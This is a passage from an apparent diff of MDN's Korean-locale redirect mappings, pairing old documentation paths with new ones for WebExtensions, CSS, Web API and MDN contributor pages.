+/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0/Roles/Localization_driver_role /ko/docs/MDN/Community/Roles/Localization_driver_role +/ko/docs/MDN/%ED%94%BC%EB%93%9C%EB%B0%B1 /ko/docs/MDN/Contribute/Feedback +/ko/docs/MDN/Contribute/Content /ko/docs/MDN/Guidelines +/ko/docs/MDN/Contribute/Content/Best_practices /ko/docs/MDN/Guidelines/Best_practices +/ko/docs/MDN/Contribute/Content/Style_guide /ko/docs/MDN/Guidelines/Style_guide +/ko/docs/MDN/Contribute/Editor /ko/docs/MDN/Editor +/ko/docs/MDN/Contribute/Editor/Links /ko/docs/MDN/Editor/Links +/ko/docs/MDN/Contribute/Guidelines/Code_guidelines /ko/docs/MDN/Guidelines/Code_guidelines +/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS /ko/docs/MDN/Guidelines/Code_guidelines/CSS +/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/Code_guidelines /ko/docs/MDN/Guidelines/Code_guidelines/Code_guidelines +/ko/docs/MDN/Contribute/Structures /ko/docs/MDN/Structures +/ko/docs/MDN/Contribute/Structures/API_references /ko/docs/MDN/Structures/API_references +/ko/docs/MDN/Contribute/Structures/API_references/API_reference_sidebars /ko/docs/MDN/Structures/API_references/API_reference_sidebars +/ko/docs/MDN/Contribute/Structures/Compatibility_tables /ko/docs/MDN/Structures/Compatibility_tables +/ko/docs/MDN/Contribute/Structures/Macros /ko/docs/MDN/Structures/Macros +/ko/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros /ko/docs/MDN/Structures/Macros/Commonly-used_macros +/ko/docs/MDN/Contribute/Tools /ko/docs/MDN/Tools +/ko/docs/MDN/Contribute/Tools/%ED%8E%98%EC%9D%B4%EC%A7%80_%EC%9E%AC%EC%83%9D%EC%84%B1 /ko/docs/MDN/Tools/%ED%8E%98%EC%9D%B4%EC%A7%80_%EC%9E%AC%EC%83%9D%EC%84%B1 +/ko/docs/MDN/Contribute/Tools/KumaScript /ko/docs/MDN/Tools/KumaScript +/ko/docs/MDN/Contribute/Tools/KumaScript/Troubleshooting /ko/docs/MDN/Tools/KumaScript/Troubleshooting +/ko/docs/MDN/Getting_started /ko/docs/MDN/Contribute/Getting_started +/ko/docs/MathML /ko/docs/Web/MathML +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4 /ko/docs/Mozilla/Add-ons +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/AMO/Policy/Featured https://extensionworkshop.com/documentation/publish/recommended-extensions/ +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/Listing https://extensionworkshop.com/documentation/develop/create-an-appealing-listing/ +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions /ko/docs/Mozilla/Add-ons/WebExtensions +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API /ko/docs/Mozilla/Add-ons/WebExtensions/API +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/browsingData /ko/docs/Mozilla/Add-ons/WebExtensions/API/browsingData +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contentScripts /ko/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus /ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/ContextType /ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/ContextType +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/create /ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/create +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/getTargetElement /ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/getTargetElement +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/contextMenus/onShown /ko/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus/onShown +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/pageAction /ko/docs/Mozilla/Add-ons/WebExtensions/API/pageAction +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/pageAction/show /ko/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/show +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage /ko/docs/Mozilla/Add-ons/WebExtensions/API/storage +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/StorageArea /ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/StorageArea/get /ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/StorageArea/set /ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/local /ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/local +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/storage/sync /ko/docs/Mozilla/Add-ons/WebExtensions/API/storage/sync +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/tabs /ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/tabs/create /ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/tabs/insertCSS /ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/webRequest /ko/docs/Mozilla/Add-ons/WebExtensions/API/webRequest +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/API/webRequest/onBeforeRequest /ko/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Anatomy_of_a_WebExtension /ko/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Content_scripts /ko/docs/Mozilla/Add-ons/WebExtensions/Content_scripts +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Examples /ko/docs/Mozilla/Add-ons/WebExtensions/Examples +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Package_your_extension_ https://extensionworkshop.com/documentation/publish/package-your-extension/ +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Porting_a_Google_Chrome_extension https://extensionworkshop.com/documentation/develop/porting-a-google-chrome-extension/ +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Prerequisites /ko/docs/Mozilla/Add-ons/WebExtensions/Prerequisites +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Temporary_Installation_in_Firefox https://extensionworkshop.com/documentation/develop/temporary-installation-in-firefox/ +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/User_actions /ko/docs/Mozilla/Add-ons/WebExtensions/User_actions +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/What_are_WebExtensions /ko/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Your_first_WebExtension /ko/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/Your_second_WebExtension /ko/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/manifest.json /ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/manifest.json/content_scripts /ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/manifest.json/page_action /ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/user_interface /ko/docs/Mozilla/Add-ons/WebExtensions/user_interface +/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4/WebExtensions/user_interface/Page_actions /ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions +/ko/docs/Mozilla/Developer_guide/Source_Code/Download_Mozilla_Source_Code /ko/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives +/ko/docs/Mozilla_Build_FAQ /ko/docs/Mozilla/Developer_guide/Mozilla_Build_FAQ +/ko/docs/Mozilla_Quirks_Mode_Behavior /ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode +/ko/docs/Mozilla_Source_Code_(HTTP_FTP) /ko/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives +/ko/docs/New_in_JavaScript_1.6 /ko/docs/Web/JavaScript/New_in_JavaScript/1.6 +/ko/docs/New_in_JavaScript_1.7 /ko/docs/Web/JavaScript/New_in_JavaScript/1.7 +/ko/docs/New_in_JavaScript_1.8 /ko/docs/Web/JavaScript/New_in_JavaScript/1.8 +/ko/docs/Online_and_offline_events /ko/docs/Web/API/NavigatorOnLine/Online_and_offline_events +/ko/docs/Places:Accessing_Bookmarks /ko/docs/Places/Accessing_Bookmarks +/ko/docs/Places:Custom_Containers /ko/docs/Places/Custom_Containers +/ko/docs/Places:Instantiating_Views /ko/docs/Places/Instantiating_Views +/ko/docs/Places:Query_System /ko/docs/Places/Query_System +/ko/docs/Places:Views /ko/docs/Places/Views +/ko/docs/SVG /ko/docs/Web/SVG +/ko/docs/SVG/Tutorial /ko/docs/Web/SVG/Tutorial +/ko/docs/SVG:Tutorial /ko/docs/Web/SVG/Tutorial +/ko/docs/SVG_In_HTML_Introduction /ko/docs/Web/SVG/Tutorial/SVG_In_HTML_Introduction +/ko/docs/Security/CSP/Using_Content_Security_Policy /ko/docs/Web/HTTP/CSP +/ko/docs/Setting_HTTP_request_headers /ko/docs/XPCOM/Setting_HTTP_request_headers +/ko/docs/Simple_Firefox_build /ko/docs/Mozilla/Developer_guide/Build_Documentation/Simple_Firefox_build +/ko/docs/Simple_Thunderbird_build /ko/docs/Mozilla/Developer_guide/Build_Documentation/Simple_Thunderbird_build +/ko/docs/The_Importance_of_Correct_HTML_Commenting /ko/docs/Learn/HTML/Introduction_to_HTML/Getting_started#HTML_comments +/ko/docs/The_Thread_Manager /ko/docs/XPCOM/The_Thread_Manager +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/Basic_Example /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Basic_Example +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/Introduction /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/JavaScript_XSLT_Bindings /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/JavaScript_XSLT_Bindings +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:Basic_Example /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Basic_Example +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:Introduction /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:JavaScript_XSLT_Bindings /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/JavaScript_XSLT_Bindings +/ko/docs/The_XSLT_JavaScript_Interface_in_Gecko:Setting_Parameters /ko/docs/Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters +/ko/docs/Toolkit_API/Official_References /en-US/docs/Template:Toolkit_API_Official_References +/ko/docs/Toolkit_API:Official_References /en-US/docs/Template:Toolkit_API_Official_References +/ko/docs/Tools/Debugger/How_to /ko/docs/Tools/How_to +/ko/docs/Tools/Debugger/How_to/Open_the_debugger /ko/docs/Tools/How_to/Open_the_debugger +/ko/docs/Tools/Debugger/How_to/Search /ko/docs/Tools/How_to/Search +/ko/docs/Tools/Debugger/How_to/Set_a_breakpoint /ko/docs/Tools/How_to/Set_a_breakpoint +/ko/docs/Transforming_XML_with_XSLT /ko/docs/Web/XSLT/Transforming_XML_with_XSLT +/ko/docs/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference /ko/docs/Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference +/ko/docs/Transforming_XML_with_XSLT:The_Netscape_XSLT_XPath_Reference /ko/docs/Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference +/ko/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces /ko/docs/Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +/ko/docs/Using_JSON_in_Firefox /ko/docs/Web/JavaScript/Reference/Global_Objects/JSON +/ko/docs/Using_URL_values_for_the_cursor_property /ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property +/ko/docs/Using_URL_values_for_the_cursor_property-redirect-1 /ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property +/ko/docs/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations /ko/docs/Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations +/ko/docs/Web/API/AudioBufferSourceNode/stop /ko/docs/Web/API/AudioScheduledSourceNode/stop +/ko/docs/Web/API/Boolean /ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean +/ko/docs/Web/API/Canvas_API/%EC%BA%94%EB%B2%84%EC%8A%A4_%ED%8A%9C%ED%86%A0%EB%A6%AC%EC%96%BC /ko/docs/Web/HTML/Canvas/Tutorial +/ko/docs/Web/API/Document/activeElement /ko/docs/Web/API/DocumentOrShadowRoot/activeElement +/ko/docs/Web/API/Document/defaultView/popstate_event /ko/docs/Web/API/Window/popstate_event +/ko/docs/Web/API/Document/defaultView/resize_event /ko/docs/Web/API/Window/resize_event +/ko/docs/Web/API/Document/drag_%EC%9D%B4%EB%B2%A4%ED%8A%B8 /ko/docs/Web/API/Document/drag_event +/ko/docs/Web/API/Document_Object_Model/%EC%98%88%EC%A0%9C /ko/docs/Web/API/Document_Object_Model/Examples +/ko/docs/Web/API/Document_Object_Model/Introduction /ko/docs/Web/API/Document_Object_Model/%EC%86%8C%EA%B0%9C +/ko/docs/Web/API/Document_Object_Model/Preface /ko/docs/Web/API/Document_Object_Model +/ko/docs/Web/API/Element.clientHeight /ko/docs/Web/API/Element/clientHeight +/ko/docs/Web/API/Element.getAttribute /ko/docs/Web/API/Element/getAttribute +/ko/docs/Web/API/Element/childNodes /ko/docs/Web/API/Node/childNodes +/ko/docs/Web/API/Element/firstChild /ko/docs/Web/API/Node/firstChild +/ko/docs/Web/API/FileReader.result /ko/docs/Web/API/FileReader/result +/ko/docs/Web/API/Navigator.battery /ko/docs/Web/API/Navigator/battery +/ko/docs/Web/API/Navigator.battery/window.navigator.battery /ko/docs/Web/API/Navigator/battery +/ko/docs/Web/API/Navigator.connection/window.navigator.connection /ko/docs/Web/API/NetworkInformation/connection +/ko/docs/Web/API/NetworkInformation.connection /ko/docs/Web/API/NetworkInformation/connection +/ko/docs/Web/API/NetworkInformation.connection/window.navigator.connection /ko/docs/Web/API/NetworkInformation/connection +/ko/docs/Web/API/Notification.permission /ko/docs/Web/API/Notification/permission +/ko/docs/Web/API/Position /ko/docs/Web/API/GeolocationPosition +/ko/docs/Web/API/RandomSource /ko/docs/Web/API/Crypto/getRandomValues +/ko/docs/Web/API/RandomSource/getRandomValues /ko/docs/Web/API/Crypto/getRandomValues +/ko/docs/Web/API/Screen.lockOrientation /ko/docs/Web/API/Screen/lockOrientation +/ko/docs/Web/API/Screen.lockOrientation/window.screen.lockOrientation /ko/docs/Web/API/Screen/lockOrientation +/ko/docs/Web/API/Screen.onorientationchange/window.screen.onorientationchange /ko/docs/Web/API/Screen.onorientationchange +/ko/docs/Web/API/Screen.orientation /ko/docs/Web/API/Screen/orientation +/ko/docs/Web/API/Screen.orientation/window.screen.orientation /ko/docs/Web/API/Screen/orientation +/ko/docs/Web/API/WebGL_API/Adding_2D_content_to_a_WebGL_context /ko/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +/ko/docs/Web/API/WebGL_API/Animating_objects_with_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +/ko/docs/Web/API/WebGL_API/Animating_textures_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +/ko/docs/Web/API/WebGL_API/Creating_3D_objects_using_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +/ko/docs/Web/API/WebGL_API/Getting_started_with_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +/ko/docs/Web/API/WebGL_API/Lighting_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +/ko/docs/Web/API/WebGL_API/Using_shaders_to_apply_color_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +/ko/docs/Web/API/WebGL_API/Using_textures_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +/ko/docs/Web/API/WindowBase64 /ko/docs/Web/API/WindowOrWorkerGlobalScope +/ko/docs/Web/API/WindowTimers /ko/docs/Web/API/WindowOrWorkerGlobalScope +/ko/docs/Web/API/document.importNode /ko/docs/Web/API/Document/importNode +/ko/docs/Web/API/element-temp /ko/docs/Web/API/Element +/ko/docs/Web/API/window.navigator.battery /ko/docs/Web/API/Navigator/battery +/ko/docs/Web/API/window.navigator.connection /ko/docs/Web/API/NetworkInformation/connection +/ko/docs/Web/API/window.navigator.mozMobileMessage /ko/docs/Web/API/Navigator/mozMobileMessage +/ko/docs/Web/API/window.navigator.mozNotification /ko/docs/Web/API/Navigator/mozNotification +/ko/docs/Web/API/window.navigator.mozSms /ko/docs/Web/API/Navigator/mozSms +/ko/docs/Web/API/window.screen.lockOrientation /ko/docs/Web/API/Screen/lockOrientation +/ko/docs/Web/API/window.screen.onorientationchange /ko/docs/Web/API/Screen.onorientationchange +/ko/docs/Web/API/window.screen.orientation /ko/docs/Web/API/Screen/orientation +/ko/docs/Web/API/window.screen.unlockOrientation /ko/docs/Web/API/Screen/unlockOrientation +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0 /en-US/docs/Learn/CSS/First_steps +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%82%B4%EC%9A%A9%EB%AC%BC /ko/docs/Learn/CSS/Howto/Generated_content +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%89%EC%83%81 /en-US/docs/Learn/CSS/Building_blocks/Values_and_units +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%84%A4%EB%A0%89%ED%84%B0 /en-US/docs/Learn/CSS/Building_blocks/Selectors +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%95%8C%EA%B8%B0_%EC%89%AC%EC%9A%B4_CSS /ko/docs/Learn/CSS/Introduction_to_CSS/Syntax#구문_그_너머_읽기_편한_CSS +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%99%9C_CSS%EB%A5%BC_%EC%82%AC%EC%9A%A9%ED%95%98%EB%82%98 /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS%EB%9E%80 /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS_%EB%8F%99%EC%9E%91_%EC%9B%90%EB%A6%AC /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/Web/CSS/CSS_Background_and_Borders /ko/docs/Web/CSS/CSS_Backgrounds_and_Borders +/ko/docs/Web/CSS/CSS_Colors /ko/docs/Web/CSS/CSS_Color +/ko/docs/Web/CSS/CSS_Compositing_and_Blending /ko/docs/Web/CSS/Compositing_and_Blending +/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes /ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +/ko/docs/Web/CSS/CSS_Grid_Layout/%EA%B7%B8%EB%A6%AC%EB%93%9C_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EB%8B%A4%EB%A5%B8_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83_%EB%B0%A9%EB%B2%95%EA%B3%BC%EC%9D%98_%EA%B4%80%EA%B3%84 /ko/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout +/ko/docs/Web/CSS/CSS_Grid_Layout/%EA%B7%B8%EB%A6%AC%EB%93%9C_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EC%9D%98_%EA%B8%B0%EB%B3%B8_%EA%B0%9C%EB%85%90 /ko/docs/Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout +/ko/docs/Web/CSS/CSS_Grid_Layout/%EA%B7%B8%EB%A6%AC%EB%93%9C_%ED%85%9C%ED%94%8C%EB%A6%BF_%EC%98%81%EC%97%AD /ko/docs/Web/CSS/CSS_Grid_Layout/Grid_template_areas +/ko/docs/Web/CSS/CSS_Grid_Layout/%EC%9D%B4%EB%A6%84%EC%9D%B4_%EC%A3%BC%EC%96%B4%EC%A7%84_%EA%B7%B8%EB%A6%AC%EB%93%9C_%EB%9D%BC%EC%9D%B8%EC%9D%84_%EC%9D%B4%EC%9A%A9%ED%95%9C_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83 /ko/docs/Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines +/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_%EA%B7%B8%EB%A6%AC%EB%93%9C%EC%9D%98_%EB%9D%BC%EC%9D%B8%EC%9D%84_%EA%B8%B0%EC%A4%80%EC%9C%BC%EB%A1%9C_%ED%95%9C_%EC%95%84%EC%9D%B4%ED%85%9C_%EB%B0%B0%EC%B9%98 /ko/docs/Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid +/ko/docs/Web/CSS/CSS_Reference /ko/docs/Web/CSS/Reference +/ko/docs/Web/CSS/CSS_Reference/Property_Template /ko/docs/Web/CSS/Reference/Property_Template +/ko/docs/Web/CSS/CSS_User_Interface /ko/docs/Web/CSS/CSS_Basic_User_Interface +/ko/docs/Web/CSS/Getting_Started /ko/docs/CSS/시작하기 +/ko/docs/Web/CSS/Getting_Started/Boxes /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90 +/ko/docs/Web/CSS/Getting_Started/Cascading_and_inheritance /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D +/ko/docs/Web/CSS/Getting_Started/Color /en-US/docs/Learn/CSS/Building_blocks/Values_and_units +/ko/docs/Web/CSS/Getting_Started/Content /ko/docs/Learn/CSS/Howto/Generated_content +/ko/docs/Web/CSS/Getting_Started/How_CSS_works /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/Web/CSS/Getting_Started/Layout /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98 +/ko/docs/Web/CSS/Getting_Started/Lists /ko/docs/Web/CSS/시작하기/리스트 +/ko/docs/Web/CSS/Getting_Started/Media /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4 +/ko/docs/Web/CSS/Getting_Started/Readable_CSS /ko/docs/Web/CSS/시작하기/알기_쉬운_CSS +/ko/docs/Web/CSS/Getting_Started/Selectors /ko/docs/Web/CSS/시작하기/설렉터 +/ko/docs/Web/CSS/Getting_Started/Tables /ko/docs/Web/CSS/시작하기/테이블 +/ko/docs/Web/CSS/Getting_Started/Text_styles /ko/docs/Web/CSS/시작하기/텍스트_스타일 +/ko/docs/Web/CSS/Getting_Started/What_is_CSS /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/Web/CSS/Getting_Started/Why_use_CSS /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/Web/CSS/Scaling_background_images /ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +/ko/docs/Web/CSS/Understanding_z-index /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/ko/docs/Web/CSS/Understanding_z-index/Adding_z-index /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/ko/docs/Web/CSS/Understanding_z-index/Stacking_and_float /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/ko/docs/Web/CSS/Understanding_z-index/Stacking_context_example_1 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +/ko/docs/Web/CSS/Understanding_z-index/Stacking_context_example_2 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +/ko/docs/Web/CSS/Understanding_z-index/Stacking_context_example_3 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +/ko/docs/Web/CSS/Understanding_z-index/Stacking_without_z-index /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +/ko/docs/Web/CSS/Using_CSS_animations /ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations +/ko/docs/Web/CSS/Using_CSS_multiple_backgrounds /ko/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +/ko/docs/Web/CSS/Using_CSS_transforms /ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms +/ko/docs/Web/CSS/Using_CSS_variables /ko/docs/Web/CSS/Using_CSS_custom_properties +/ko/docs/Web/CSS/calc /ko/docs/Web/CSS/calc() +/ko/docs/Web/CSS/currentcolor /ko/docs/Web/CSS/color_value#currentColor_키워드 +/ko/docs/Web/CSS/filter-function/blur /ko/docs/Web/CSS/filter-function/blur() +/ko/docs/Web/CSS/filter-function/brightness /ko/docs/Web/CSS/filter-function/brightness() +/ko/docs/Web/CSS/filter-function/contrast /ko/docs/Web/CSS/filter-function/contrast() +/ko/docs/Web/CSS/linear-gradient /ko/docs/Web/CSS/linear-gradient() +/ko/docs/Web/CSS/transform-function/matrix /ko/docs/Web/CSS/transform-function/matrix() +/ko/docs/Web/CSS/transform-function/scaleX /ko/docs/Web/CSS/transform-function/scaleX() +/ko/docs/Web/CSS/var /ko/docs/Web/CSS/var() +/ko/docs/Web/Events/canplay /ko/docs/Web/API/HTMLMediaElement/canplay_event +/ko/docs/Web/Events/canplaythrough /ko/docs/Web/API/HTMLMediaElement/canplaythrough_event +/ko/docs/Web/Events/canplaythrough_event /ko/docs/Web/HTML/Element/audio/canplaythrough_event +/ko/docs/Web/Events/click /ko/docs/Web/API/Element/click_event +/ko/docs/Web/Events/dragstart 